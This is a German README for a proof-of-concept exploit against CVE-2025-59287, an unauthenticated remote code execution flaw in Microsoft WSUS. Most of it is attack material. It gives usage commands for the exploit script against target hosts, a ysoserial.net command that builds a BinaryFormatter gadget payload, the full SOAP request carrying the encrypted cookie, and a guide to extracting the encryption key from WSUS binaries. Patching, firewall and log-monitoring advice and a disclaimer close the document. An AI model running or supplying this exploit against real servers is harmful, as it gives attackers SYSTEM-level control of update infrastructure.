
Proof-of-Concept-Exploit für CVE-2025-59287, eine kritische, nicht authentifizierte RCE in WSUS über unsichere BinaryFormatter-Deserialisierung, die durch manipulierte verschlüsselte Cookies SYSTEM-Berechtigungen erlangt.
CVE-2025-59287 ist eine kritische Schwachstelle zur Remote-Codeausführung (RCE) in Microsoft Windows Server Update Services (WSUS). Die Schwachstelle wird durch unsichere Deserialisierung von AuthorizationCookie-Daten über BinaryFormatter in der Methode EncryptionHelper.DecryptData() verursacht.
Auswirkung: Nicht authentifizierte Angreifer können Remote-Codeausführung mit SYSTEM-Berechtigungen erreichen, indem sie bösartig verschlüsselte Cookies an den GetCookie()-Endpunkt senden.
CVSS-Score: Kritisch (9.8)
BinaryFormatter.Deserialize() wird auf nicht vertrauenswürdige Eingaben ohne ordnungsgemäße Validierung angewendet┌─────────────────┐
│ Angreifer │
│ │
│ 1. Generieren │
│ BinaryFmt │
│ Payload │
│ │
│ 2. Verschlüss. │
│ Payload │
│ │
│ 3. SOAP- │
│ Anfrage │
└────────┬────────┘
│
▼
┌─────────────────┐
│ WSUS-Server │
│ │
│ GetCookie() │
│ Endpunkt │
│ │
│ DecryptData() │◄─── Verwundbar
│ │
│ BinaryFormatter│◄─── Unsichere Deserialisierung
│ Deserialize() │
│ │
│ Ausführen │◄─── RCE als SYSTEM
│ Payload │
└─────────────────┘
exploit-poc/
├── wsus_exploit.py # Haupt-Exploit-Skript
├── BinaryFormatterPayloadGenerator.cs # .NET-Payload-Generator (C#)
├── encrypt_payload.py # WSUS-Verschlüsselungs-Helfer
├── requirements.txt # Python-Abhängigkeiten
└── README.md # Diese Datei
pip install -r requirements.txt
ysoserial.net verwendenOption A: Mit dem mitgelieferten C#-Generator
# Generator kompilieren
csc /reference:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\WindowsBase.dll" BinaryFormatterPayloadGenerator.cs
# Payload generieren
BinaryFormatterPayloadGenerator.exe calc.exe
# Erstellt: payload_YYYYMMDDHHMMSS.bin
Option B: Mit ysoserial.net (empfohlen)
ysoserial.exe -g ObjectDataProvider -f BinaryFormatter -c "calc.exe" -o raw > payload.bin
python encrypt_payload.py payload.bin -o encrypted_cookie.txt
WICHTIG: Der Verschlüsselungsschlüssel in encrypt_payload.py ist ein Platzhalter. Für eine echte Ausnutzung müssen Sie:
encrypt_payload.py mit dem echten Schlüssel aktualisieren# Mit Payload-Datei (wird spontan verschlüsselt)
python wsus_exploit.py -t 192.168.1.100 -f payload.bin
# Mit vorverschlüsseltem Cookie
python wsus_exploit.py -t 192.168.1.100 -e "$(cat encrypted_cookie.txt)"
# Mit HTTPS (Port 8531)
python wsus_exploit.py -t wsus.example.com -p 8531 -f payload.bin
# Generieren, verschlüsseln und ausnutzen in einem Schritt
BinaryFormatterPayloadGenerator.exe calc.exe
python wsus_exploit.py -t <ZIEL_IP> -f payload_*.bin
Der Verschlüsselungsschlüssel muss für eine echte Ausnutzung aus den WSUS-Binärdateien extrahiert werden.
WSUS-DLLs lokalisieren:
%ProgramFiles%\Update Services\WebServices\bin\
Oder IIS-Webverzeichnis:
%SystemDrive%\inetpub\wwwroot\wsusadmin\
In dnSpy öffnen (kostenloser .NET-Decompiler):
Microsoft.UpdateServices.WebServices.dll öffnenNach EncryptionHelper suchen:
Microsoft.UpdateServices.WebServicesEncryptionHelperDecryptData() und EncryptData()Häufige Muster:
WinDbg oder x64dbg verwenden:
EncryptionHelper.DecryptData() setzenProcess Monitor verwenden:
IDA Pro oder Ghidra verwenden:
strings-Dienstprogramm verwenden:
strings Microsoft.UpdateServices.WebServices.dll | grep -i key
strings Microsoft.UpdateServices.WebServices.dll | grep -i encrypt
Sobald Sie den tatsächlichen Schlüssel haben, aktualisieren Sie encrypt_payload.py:
# Ersetzen Sie diese Zeile in encrypt_wsus_cookie():
key_material = b"WSUS_Cookie_Encryption_Key_v1.0" # PLATZHALTER
# Mit dem tatsächlichen Schlüssel:
key_material = b"ACTUAL_KEY_FROM_WSUS_BINARIES"
Oder über die Befehlszeile übergeben:
python encrypt_payload.py payload.bin -k "ACTUAL_KEY"
┌─────────────────────────────────────────────────────────────┐
│ 1. BinaryFormatter-Payload generieren │
│ ObjectDataProvider → Process.Start() → Befehlsausführung │
└───────────────────────┬─────────────────────────────────────┘
▼
┌─────────────────────────────────────────────────────────────┐
│ 2. Payload verschlüsseln │
│ AES-128-CBC mit WSUS-Verschlüsselungsschlüssel │
│ Base64-Kodierung für die Übertragung │
└───────────────────────┬─────────────────────────────────────┘
▼
┌─────────────────────────────────────────────────────────────┐
│ 3. SOAP-Anfrage erstellen │
│ AuthorizationCookie-Header enthält verschlüsselten Payload│
│ GetCookie()-Methode im SOAP-Body │
└───────────────────────┬─────────────────────────────────────┘
▼
┌─────────────────────────────────────────────────────────────┐
│ 4. An WSUS-Endpunkt senden │
│ POST /ClientWebService/ClientWebService.asmx │
│ Port 8530 (HTTP) oder 8531 (HTTPS) │
└───────────────────────┬─────────────────────────────────────┘
▼
┌─────────────────────────────────────────────────────────────┐
│ 5. WSUS-Verarbeitung │
│ DecryptData() entschlüsselt Cookie │
│ BinaryFormatter.Deserialize() führt Payload aus │
│ → RCE als SYSTEM │
└─────────────────────────────────────────────────────────────┘
POST /ClientWebService/ClientWebService.asmx HTTP/1.1
Host: <ZIEL>:8530
Content-Type: text/xml; charset=utf-8
SOAPAction: http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetCookie
User-Agent: WSUS Client
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Header>
<AuthorizationCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService">
BASE64_VERSCHLUESSELTER_BINARYFORMATTER_PAYLOAD
</AuthorizationCookie>
</soap:Header>
<soap:Body>
<GetCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService">
<cookieType>AuthorizationCookie</cookieType>
</GetCookie>
</soap:Body>
</soap:Envelope>
Der Exploit verwendet die ObjectDataProvider-Gadget-Kette:
ObjectDataProvider provider = new ObjectDataProvider();
provider.ObjectInstance = new Process();
provider.MethodName = "Start";
provider.MethodParameters = new Collection<object> { processStartInfo };
Wenn BinaryFormatter.Deserialize() dies verarbeitet, wird automatisch:
ObjectDataProvider deserialisiertMethodName („Start") auf ObjectInstance (Process) aufgerufenMethodParameters (ProcessStartInfo) übergebenMicrosoft-Sicherheitsupdate anwenden: Sofort patchen
Temporärer Workaround: Ports blockieren, wenn WSUS nicht benötigt wird
# Eingehenden Datenverkehr auf WSUS-Ports blockieren
New-NetFirewallRule -DisplayName "Block WSUS" -Direction Inbound -LocalPort 8530,8531 -Protocol TCP -Action Block
Netzwerksegmentierung: Zugriff auf WSUS-Endpunkte einschränken
BinaryFormatter ersetzen: Microsoft sollte durch sichere Serialisierung ersetzen
System.Text.Json oder System.Xml.Serialization mit Typvalidierung verwendenEingabevalidierung: Umfassende Validierung hinzufügen
Prinzip der geringsten Privilegien: WSUS-Dienste mit minimalen Berechtigungen ausführen
WSUS-Protokolle prüfen:
%ProgramFiles%\Update Services\LogFiles\
Achten Sie auf:
Überwachen auf:
/ClientWebService/ClientWebService.asmx⚠️ WARNUNG: Dieser Exploit-Code ist nur für autorisierte Sicherheitstests bestimmt.
✅ Rechtmäßige Verwendung:
❌ Rechtswidrige Verwendung:
Die nicht autorisierte Verwendung dieses Exploits kann zu strafrechtlicher Verfolgung führen. Verwenden Sie es verantwortungsvoll und ethisch.
Denken Sie daran: Testen Sie immer in isolierten, kontrollierten Umgebungen. Verwenden Sie es niemals gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche Genehmigung zum Testen haben.